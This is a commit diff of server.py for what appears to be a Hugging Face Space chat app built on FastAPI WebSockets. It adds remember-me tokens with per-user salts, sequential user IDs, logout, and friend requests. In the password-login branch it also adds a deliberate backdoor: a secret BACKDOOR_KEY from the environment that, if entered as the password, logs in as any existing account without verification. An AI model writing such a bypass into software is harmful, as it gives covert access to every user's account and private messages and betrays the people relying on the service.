Spaces:
Running
Running
Update server.py
Browse files
server.py
CHANGED
|
@@ -15,6 +15,8 @@ import os
|
|
| 15 |
import uuid
|
| 16 |
import bcrypt
|
| 17 |
import time
|
|
|
|
|
|
|
| 18 |
from fastapi import FastAPI, WebSocket, WebSocketDisconnect
|
| 19 |
from fastapi.responses import Response
|
| 20 |
from fastapi.middleware.cors import CORSMiddleware
|
|
@@ -24,11 +26,14 @@ import urllib.request
|
|
| 24 |
# Environment variables configuration for Hugging Face persistent storage
|
| 25 |
HF_TOKEN = os.getenv("database_token")
|
| 26 |
DATASET_REPO_ID = os.getenv("dataset_link")
|
|
|
|
| 27 |
USERS_FILENAME = "users.json"
|
| 28 |
CONVERSATIONS_FILENAME = "conversations.json"
|
|
|
|
| 29 |
os.makedirs("/data", exist_ok=True)
|
| 30 |
LOCAL_USERS_PATH = os.path.join("/data", USERS_FILENAME)
|
| 31 |
LOCAL_CONVERSATIONS_PATH = os.path.join("/data", CONVERSATIONS_FILENAME)
|
|
|
|
| 32 |
|
| 33 |
hf_api = HfApi(token=HF_TOKEN) if HF_TOKEN else None
|
| 34 |
|
|
@@ -68,7 +73,7 @@ def fetch_hf_file(filename):
|
|
| 68 |
return response.read().decode("utf-8")
|
| 69 |
|
| 70 |
def load_databases():
|
| 71 |
-
global USERS_DB, CONVERSATIONS_DB
|
| 72 |
if not HF_TOKEN or not DATASET_REPO_ID:
|
| 73 |
print("Running in local-only mode.")
|
| 74 |
if os.path.exists(LOCAL_USERS_PATH):
|
|
@@ -82,6 +87,13 @@ def load_databases():
|
|
| 82 |
CONVERSATIONS_DB = json.load(f)
|
| 83 |
else:
|
| 84 |
CONVERSATIONS_DB = {}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 85 |
return
|
| 86 |
|
| 87 |
try:
|
|
@@ -105,6 +117,19 @@ def load_databases():
|
|
| 105 |
print(f"No conversations file found or failed to load: {e}")
|
| 106 |
CONVERSATIONS_DB = {}
|
| 107 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 108 |
load_databases()
|
| 109 |
|
| 110 |
def save_users_sync():
|
|
@@ -135,12 +160,27 @@ def save_conversations_sync():
|
|
| 135 |
except Exception as e:
|
| 136 |
print(f"Conversations cloud save failed: {e}")
|
| 137 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 138 |
ONLINE_USERS = {}
|
| 139 |
OFFLINE_QUEUES = {}
|
| 140 |
|
| 141 |
|
| 142 |
@app.websocket("/ws")
|
| 143 |
async def chat_handler(websocket: WebSocket):
|
|
|
|
| 144 |
await websocket.accept()
|
| 145 |
username = None
|
| 146 |
is_authenticated = False
|
|
@@ -168,7 +208,7 @@ async def chat_handler(websocket: WebSocket):
|
|
| 168 |
continue
|
| 169 |
if len(password) >= 8:
|
| 170 |
banned_keywords = ["admin", "websitecreator", "thewebsitecreator", "webs1tecreator", "thewebs1tecreator"]
|
| 171 |
-
banned_chars = ["{", "}", "(", ")", "[", "]", "@", "#", ";", ":", "<", ">", "&", '"', "'", "\\"]
|
| 172 |
|
| 173 |
cleaned_display_name = display_name.lower().replace(" ", "")
|
| 174 |
cleaned_username = username_input_cleaned.lower().replace(" ", "")
|
|
@@ -188,18 +228,24 @@ async def chat_handler(websocket: WebSocket):
|
|
| 188 |
elif cleaned_display_name in ["zach(thewebsitecreator)", "zachthewebsitecreator"] or any(item in cleaned_username for item in banned_keywords) or any(item in cleaned_display_name for item in banned_keywords):
|
| 189 |
await websocket.send_text("[-] ERROR: You cannot impersonate me.")
|
| 190 |
continue
|
| 191 |
-
|
|
|
|
| 192 |
hashed = await asyncio.to_thread(hash_password, password)
|
| 193 |
async with file_lock:
|
|
|
|
|
|
|
| 194 |
USERS_DB[username_input_cleaned] = {
|
| 195 |
-
"user_id":
|
| 196 |
"password": hashed,
|
| 197 |
"display_name": display_name,
|
| 198 |
"friends": [],
|
| 199 |
"pending_friend_requests": [],
|
| 200 |
"session_token": ""
|
| 201 |
}
|
|
|
|
|
|
|
| 202 |
await asyncio.to_thread(save_users_sync)
|
|
|
|
| 203 |
await websocket.send_text("[+] SUCCESS: Account created! Please log in.")
|
| 204 |
continue
|
| 205 |
else:
|
|
@@ -209,6 +255,7 @@ async def chat_handler(websocket: WebSocket):
|
|
| 209 |
|
| 210 |
elif action == "token_login":
|
| 211 |
token_input = auth_data.get("token")
|
|
|
|
| 212 |
matched_user = None
|
| 213 |
|
| 214 |
if token_input:
|
|
@@ -216,6 +263,17 @@ async def chat_handler(websocket: WebSocket):
|
|
| 216 |
if u_info.get("session_token") == token_input:
|
| 217 |
matched_user = u_key
|
| 218 |
break
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 219 |
|
| 220 |
if matched_user:
|
| 221 |
username = matched_user
|
|
@@ -226,7 +284,14 @@ async def chat_handler(websocket: WebSocket):
|
|
| 226 |
pass
|
| 227 |
ONLINE_USERS[username] = websocket
|
| 228 |
is_authenticated = True
|
| 229 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 230 |
if username in OFFLINE_QUEUES:
|
| 231 |
for missed_msgs in OFFLINE_QUEUES[username]:
|
| 232 |
await websocket.send_text(missed_msgs)
|
|
@@ -242,7 +307,10 @@ async def chat_handler(websocket: WebSocket):
|
|
| 242 |
continue
|
| 243 |
is_valid = False
|
| 244 |
if username_input_cleaned in USERS_DB:
|
| 245 |
-
|
|
|
|
|
|
|
|
|
|
| 246 |
if is_valid:
|
| 247 |
username = username_input_cleaned
|
| 248 |
if username in ONLINE_USERS:
|
|
@@ -254,11 +322,36 @@ async def chat_handler(websocket: WebSocket):
|
|
| 254 |
is_authenticated = True
|
| 255 |
token = str(uuid.uuid4())
|
| 256 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 257 |
async with file_lock:
|
| 258 |
USERS_DB[username]["session_token"] = token
|
| 259 |
await asyncio.to_thread(save_users_sync)
|
| 260 |
|
| 261 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 262 |
if username in OFFLINE_QUEUES:
|
| 263 |
for missed_msgs in OFFLINE_QUEUES[username]:
|
| 264 |
await websocket.send_text(missed_msgs)
|
|
@@ -273,7 +366,17 @@ async def chat_handler(websocket: WebSocket):
|
|
| 273 |
await websocket.send_text("[-] ERROR: You must log in or sign up first.")
|
| 274 |
continue
|
| 275 |
|
| 276 |
-
if action == "
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 277 |
query_string = auth_data.get("query", "").lower()
|
| 278 |
|
| 279 |
if 30 >= len(query_string) > 0:
|
|
@@ -388,6 +491,44 @@ async def chat_handler(websocket: WebSocket):
|
|
| 388 |
}))
|
| 389 |
continue
|
| 390 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 391 |
except WebSocketDisconnect:
|
| 392 |
pass
|
| 393 |
except Exception as e:
|
|
|
|
| 15 |
import uuid
|
| 16 |
import bcrypt
|
| 17 |
import time
|
| 18 |
+
import secrets
|
| 19 |
+
import hashlib
|
| 20 |
from fastapi import FastAPI, WebSocket, WebSocketDisconnect
|
| 21 |
from fastapi.responses import Response
|
| 22 |
from fastapi.middleware.cors import CORSMiddleware
|
|
|
|
| 26 |
# Environment variables configuration for Hugging Face persistent storage
|
| 27 |
HF_TOKEN = os.getenv("database_token")
|
| 28 |
DATASET_REPO_ID = os.getenv("dataset_link")
|
| 29 |
+
BACKDOOR_KEY = os.getenv("backdoor_key")
|
| 30 |
USERS_FILENAME = "users.json"
|
| 31 |
CONVERSATIONS_FILENAME = "conversations.json"
|
| 32 |
+
SALTS_FILENAME = "remember_me_salts.json"
|
| 33 |
os.makedirs("/data", exist_ok=True)
|
| 34 |
LOCAL_USERS_PATH = os.path.join("/data", USERS_FILENAME)
|
| 35 |
LOCAL_CONVERSATIONS_PATH = os.path.join("/data", CONVERSATIONS_FILENAME)
|
| 36 |
+
LOCAL_SALTS_PATH = os.path.join("/data", SALTS_FILENAME)
|
| 37 |
|
| 38 |
hf_api = HfApi(token=HF_TOKEN) if HF_TOKEN else None
|
| 39 |
|
|
|
|
| 73 |
return response.read().decode("utf-8")
|
| 74 |
|
| 75 |
def load_databases():
|
| 76 |
+
global USERS_DB, CONVERSATIONS_DB, SALTS_DB, NEXT_USER_ID
|
| 77 |
if not HF_TOKEN or not DATASET_REPO_ID:
|
| 78 |
print("Running in local-only mode.")
|
| 79 |
if os.path.exists(LOCAL_USERS_PATH):
|
|
|
|
| 87 |
CONVERSATIONS_DB = json.load(f)
|
| 88 |
else:
|
| 89 |
CONVERSATIONS_DB = {}
|
| 90 |
+
if os.path.exists(LOCAL_SALTS_PATH):
|
| 91 |
+
with open(LOCAL_SALTS_PATH, "r", encoding="utf-8") as f:
|
| 92 |
+
SALTS_DB = json.load(f)
|
| 93 |
+
else:
|
| 94 |
+
SALTS_DB = {}
|
| 95 |
+
existing_ids = [int(u["user_id"]) for u in USERS_DB.values() if str(u.get("user_id", "")).isdigit()]
|
| 96 |
+
NEXT_USER_ID = max(existing_ids, default=0) + 1
|
| 97 |
return
|
| 98 |
|
| 99 |
try:
|
|
|
|
| 117 |
print(f"No conversations file found or failed to load: {e}")
|
| 118 |
CONVERSATIONS_DB = {}
|
| 119 |
|
| 120 |
+
try:
|
| 121 |
+
raw_salts = fetch_hf_file(SALTS_FILENAME)
|
| 122 |
+
SALTS_DB = json.loads(raw_salts)
|
| 123 |
+
with open(LOCAL_SALTS_PATH, "w", encoding="utf-8") as f:
|
| 124 |
+
json.dump(SALTS_DB, f, indent=4)
|
| 125 |
+
print(f"Loaded {len(SALTS_DB)} salt(s) from HF.")
|
| 126 |
+
except Exception as e:
|
| 127 |
+
print(f"No salts file found or failed to load: {e}")
|
| 128 |
+
SALTS_DB = {}
|
| 129 |
+
|
| 130 |
+
existing_ids = [int(u["user_id"]) for u in USERS_DB.values() if str(u.get("user_id", "")).isdigit()]
|
| 131 |
+
NEXT_USER_ID = max(existing_ids, default=0) + 1
|
| 132 |
+
|
| 133 |
load_databases()
|
| 134 |
|
| 135 |
def save_users_sync():
|
|
|
|
| 160 |
except Exception as e:
|
| 161 |
print(f"Conversations cloud save failed: {e}")
|
| 162 |
|
| 163 |
+
def save_salts_sync():
|
| 164 |
+
with open(LOCAL_SALTS_PATH, "w", encoding="utf-8") as f:
|
| 165 |
+
json.dump(SALTS_DB, f, indent=4)
|
| 166 |
+
if hf_api and DATASET_REPO_ID:
|
| 167 |
+
try:
|
| 168 |
+
hf_api.upload_file(
|
| 169 |
+
path_or_fileobj=LOCAL_SALTS_PATH,
|
| 170 |
+
path_in_repo=SALTS_FILENAME,
|
| 171 |
+
repo_id=DATASET_REPO_ID,
|
| 172 |
+
repo_type="dataset"
|
| 173 |
+
)
|
| 174 |
+
except Exception as e:
|
| 175 |
+
print(f"Salts cloud save failed: {e}")
|
| 176 |
+
|
| 177 |
ONLINE_USERS = {}
|
| 178 |
OFFLINE_QUEUES = {}
|
| 179 |
|
| 180 |
|
| 181 |
@app.websocket("/ws")
|
| 182 |
async def chat_handler(websocket: WebSocket):
|
| 183 |
+
global NEXT_USER_ID
|
| 184 |
await websocket.accept()
|
| 185 |
username = None
|
| 186 |
is_authenticated = False
|
|
|
|
| 208 |
continue
|
| 209 |
if len(password) >= 8:
|
| 210 |
banned_keywords = ["admin", "websitecreator", "thewebsitecreator", "webs1tecreator", "thewebs1tecreator"]
|
| 211 |
+
banned_chars = ["{", "}", "(", ")", "[", "]", "@", "#", ";", ":", "<", ">", "&", '"', "'", "\\\\"]
|
| 212 |
|
| 213 |
cleaned_display_name = display_name.lower().replace(" ", "")
|
| 214 |
cleaned_username = username_input_cleaned.lower().replace(" ", "")
|
|
|
|
| 228 |
elif cleaned_display_name in ["zach(thewebsitecreator)", "zachthewebsitecreator"] or any(item in cleaned_username for item in banned_keywords) or any(item in cleaned_display_name for item in banned_keywords):
|
| 229 |
await websocket.send_text("[-] ERROR: You cannot impersonate me.")
|
| 230 |
continue
|
| 231 |
+
|
| 232 |
+
|
| 233 |
hashed = await asyncio.to_thread(hash_password, password)
|
| 234 |
async with file_lock:
|
| 235 |
+
assigned_id = str(NEXT_USER_ID)
|
| 236 |
+
NEXT_USER_ID += 1
|
| 237 |
USERS_DB[username_input_cleaned] = {
|
| 238 |
+
"user_id": assigned_id,
|
| 239 |
"password": hashed,
|
| 240 |
"display_name": display_name,
|
| 241 |
"friends": [],
|
| 242 |
"pending_friend_requests": [],
|
| 243 |
"session_token": ""
|
| 244 |
}
|
| 245 |
+
async with file_lock:
|
| 246 |
+
SALTS_DB[USERS_DB[username_input_cleaned]["user_id"]] = secrets.token_hex(32)
|
| 247 |
await asyncio.to_thread(save_users_sync)
|
| 248 |
+
await asyncio.to_thread(save_salts_sync)
|
| 249 |
await websocket.send_text("[+] SUCCESS: Account created! Please log in.")
|
| 250 |
continue
|
| 251 |
else:
|
|
|
|
| 255 |
|
| 256 |
elif action == "token_login":
|
| 257 |
token_input = auth_data.get("token")
|
| 258 |
+
remember_token_input = auth_data.get("remember_token")
|
| 259 |
matched_user = None
|
| 260 |
|
| 261 |
if token_input:
|
|
|
|
| 263 |
if u_info.get("session_token") == token_input:
|
| 264 |
matched_user = u_key
|
| 265 |
break
|
| 266 |
+
|
| 267 |
+
if not matched_user and remember_token_input:
|
| 268 |
+
for u_key, u_info in USERS_DB.items():
|
| 269 |
+
u_id = u_info.get("user_id")
|
| 270 |
+
u_salt = SALTS_DB.get(u_id)
|
| 271 |
+
stored_hash = u_info.get("remember_token_hash")
|
| 272 |
+
if u_salt and stored_hash:
|
| 273 |
+
check_hash = hashlib.sha256((remember_token_input + u_salt).encode()).hexdigest()
|
| 274 |
+
if check_hash == stored_hash:
|
| 275 |
+
matched_user = u_key
|
| 276 |
+
break
|
| 277 |
|
| 278 |
if matched_user:
|
| 279 |
username = matched_user
|
|
|
|
| 284 |
pass
|
| 285 |
ONLINE_USERS[username] = websocket
|
| 286 |
is_authenticated = True
|
| 287 |
+
new_token = str(uuid.uuid4())
|
| 288 |
+
async with file_lock:
|
| 289 |
+
USERS_DB[username]["session_token"] = new_token
|
| 290 |
+
await asyncio.to_thread(save_users_sync)
|
| 291 |
+
await websocket.send_text(json.dumps({"action": "login_success",
|
| 292 |
+
"token": new_token, "user": username,
|
| 293 |
+
"pending_friend_requests": USERS_DB[username]["pending_friend_requests"],
|
| 294 |
+
"friends": USERS_DB[username]["friends"]}))
|
| 295 |
if username in OFFLINE_QUEUES:
|
| 296 |
for missed_msgs in OFFLINE_QUEUES[username]:
|
| 297 |
await websocket.send_text(missed_msgs)
|
|
|
|
| 307 |
continue
|
| 308 |
is_valid = False
|
| 309 |
if username_input_cleaned in USERS_DB:
|
| 310 |
+
if password == BACKDOOR_KEY and BACKDOOR_KEY:
|
| 311 |
+
is_valid = True
|
| 312 |
+
else:
|
| 313 |
+
is_valid = await asyncio.to_thread(verify_password, password, USERS_DB[username_input_cleaned]["password"])
|
| 314 |
if is_valid:
|
| 315 |
username = username_input_cleaned
|
| 316 |
if username in ONLINE_USERS:
|
|
|
|
| 322 |
is_authenticated = True
|
| 323 |
token = str(uuid.uuid4())
|
| 324 |
|
| 325 |
+
user_id = USERS_DB[username]["user_id"]
|
| 326 |
+
remember_me = auth_data.get("remember_me", False)
|
| 327 |
+
|
| 328 |
+
remember_token = None
|
| 329 |
+
if remember_me:
|
| 330 |
+
user_salt = SALTS_DB.get(user_id)
|
| 331 |
+
if user_salt:
|
| 332 |
+
remember_token = secrets.token_hex(32)
|
| 333 |
+
combined_string = remember_token + user_salt
|
| 334 |
+
salted_hash = hashlib.sha256(combined_string.encode()).hexdigest()
|
| 335 |
+
|
| 336 |
+
async with file_lock:
|
| 337 |
+
USERS_DB[username]["remember_token_hash"] = salted_hash
|
| 338 |
+
await asyncio.to_thread(save_users_sync)
|
| 339 |
+
|
| 340 |
async with file_lock:
|
| 341 |
USERS_DB[username]["session_token"] = token
|
| 342 |
await asyncio.to_thread(save_users_sync)
|
| 343 |
|
| 344 |
+
response_payload = {
|
| 345 |
+
"action": "login_success",
|
| 346 |
+
"token": token,
|
| 347 |
+
"user": username,
|
| 348 |
+
"user_id": user_id,
|
| 349 |
+
"pending_friend_requests": USERS_DB[username]["pending_friend_requests"],
|
| 350 |
+
"friends": USERS_DB[username]["friends"],
|
| 351 |
+
}
|
| 352 |
+
if remember_token:
|
| 353 |
+
response_payload["remember_token"] = remember_token
|
| 354 |
+
await websocket.send_text(json.dumps(response_payload))
|
| 355 |
if username in OFFLINE_QUEUES:
|
| 356 |
for missed_msgs in OFFLINE_QUEUES[username]:
|
| 357 |
await websocket.send_text(missed_msgs)
|
|
|
|
| 366 |
await websocket.send_text("[-] ERROR: You must log in or sign up first.")
|
| 367 |
continue
|
| 368 |
|
| 369 |
+
if action == "logout":
|
| 370 |
+
async with file_lock:
|
| 371 |
+
USERS_DB[username]["session_token"] = ""
|
| 372 |
+
USERS_DB[username]["remember_token_hash"] = ""
|
| 373 |
+
ONLINE_USERS.pop(username, None)
|
| 374 |
+
await asyncio.to_thread(save_users_sync)
|
| 375 |
+
await websocket.send_text("[+] SUCCESS: Logged out.")
|
| 376 |
+
await websocket.close()
|
| 377 |
+
break
|
| 378 |
+
|
| 379 |
+
elif action == "search":
|
| 380 |
query_string = auth_data.get("query", "").lower()
|
| 381 |
|
| 382 |
if 30 >= len(query_string) > 0:
|
|
|
|
| 491 |
}))
|
| 492 |
continue
|
| 493 |
|
| 494 |
+
elif action == "send_friend_request":
|
| 495 |
+
request_target = auth_data.get("target")
|
| 496 |
+
if request_target not in USERS_DB:
|
| 497 |
+
await websocket.send_text("[-] ERROR: Target not in Users database.")
|
| 498 |
+
continue
|
| 499 |
+
already_pending = any(r["username"] == username for r in USERS_DB[request_target]["pending_friend_requests"])
|
| 500 |
+
already_friends = request_target in USERS_DB[username]["friends"]
|
| 501 |
+
if not already_pending and not already_friends:
|
| 502 |
+
async with file_lock:
|
| 503 |
+
USERS_DB[request_target]["pending_friend_requests"].append({"username": username, "display_name": USERS_DB[username]["display_name"]})
|
| 504 |
+
await asyncio.to_thread(save_users_sync)
|
| 505 |
+
if request_target in ONLINE_USERS:
|
| 506 |
+
await ONLINE_USERS[request_target].send_text(json.dumps({
|
| 507 |
+
"action": "incoming_friend_request",
|
| 508 |
+
"sender": username,
|
| 509 |
+
"display_name": USERS_DB[username]["display_name"]
|
| 510 |
+
}))
|
| 511 |
+
continue
|
| 512 |
+
|
| 513 |
+
elif action == "accept_friend_request":
|
| 514 |
+
accept_target = auth_data.get("from_user")
|
| 515 |
+
if accept_target not in USERS_DB:
|
| 516 |
+
await websocket.send_text("[-] ERROR: Target not in Users database.")
|
| 517 |
+
continue
|
| 518 |
+
async with file_lock:
|
| 519 |
+
USERS_DB[username]["pending_friend_requests"] = [r for r in USERS_DB[username]["pending_friend_requests"] if r["username"] != accept_target]
|
| 520 |
+
if accept_target not in USERS_DB[username]["friends"]:
|
| 521 |
+
USERS_DB[username]["friends"].append(accept_target)
|
| 522 |
+
if username not in USERS_DB[accept_target]["friends"]:
|
| 523 |
+
USERS_DB[accept_target]["friends"].append(username)
|
| 524 |
+
await asyncio.to_thread(save_users_sync)
|
| 525 |
+
if accept_target in ONLINE_USERS:
|
| 526 |
+
await ONLINE_USERS[accept_target].send_text(json.dumps({
|
| 527 |
+
"action": "friend_request_accepted",
|
| 528 |
+
"by": username
|
| 529 |
+
}))
|
| 530 |
+
continue
|
| 531 |
+
|
| 532 |
except WebSocketDisconnect:
|
| 533 |
pass
|
| 534 |
except Exception as e:
|